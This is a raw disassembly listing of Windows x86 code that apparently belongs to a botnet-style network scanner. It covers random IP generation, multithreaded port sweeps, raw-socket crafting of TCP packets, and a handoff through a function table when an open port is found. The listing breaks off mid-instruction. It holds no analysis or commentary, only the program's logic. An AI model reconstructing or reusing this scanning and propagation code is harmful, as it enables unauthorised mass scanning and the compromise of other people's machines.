ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445428[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455F4 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455F0 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset aB ; " -b" mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D809D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_4455F0 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_4455F4 call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455F0 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D809D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx call near ptr 77C3FA76h nop mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44540Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F40 mov ecx, offset dword_449968 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8085 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445430[eax*4] inc ecx mov dword_445430[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAB8 nop call sub_5F74D1 mov eax, offset dword_50FAB8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB60[esi*8] push eax call near ptr 71AB2BC0h nop inc eax push eax call near ptr 71AB2BC0h nop mov dword_50DB60[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call near ptr 77C41B72h nop mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi ; rand loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB60[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi call near ptr 71AB406Ah nop mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx call sub_5F74D1 nop lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456EC loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 27E0BCDh nop push eax call near ptr 77C371BCh nop lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF9Bh[eax*4] mov eax, dword_44B19F[eax*4] mov ecx, dword_50DB64[eax*8] test ecx, ecx jz loc_423FBE mov ebx, off_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5F74D1 lea ecx, [esp+238h] push ecx push ebp call ebx ; sub_5F74D1 mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FAA0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5F74D1 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FAA0 call near ptr 7C9010EDh nop jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5F74D1 mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:445400h[ecx*4] push edx push eax call ebx ; sub_5F74D1 mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx ; sub_5F74D1 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44542C[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h nop call near ptr 283030Ah mov eax, [ebp+204h] mov ecx, dword_50DB64[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 nop call near ptr 28303F9h nop ; --------------------------------------------------------------------------- db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax call near ptr 71AB2BF4h nop sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB60[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FAA0 nop call near ptr 2780801h push offset dword_50FAA0 call near ptr 2790000h nop loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB64[edx*8], ebx cmp eax, ebx mov ebx, off_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5F74D1 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B19F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B1AF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B1AF[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj nop call near ptr 27C0828h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5F74D1 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB64[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB64[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB60[ecx*8] push ecx call near ptr 71AB3F41h nop push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5F74D1 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB64[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FAA0 nop call near ptr 2780801h loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 nop call near ptr 28303F9h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F44 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte 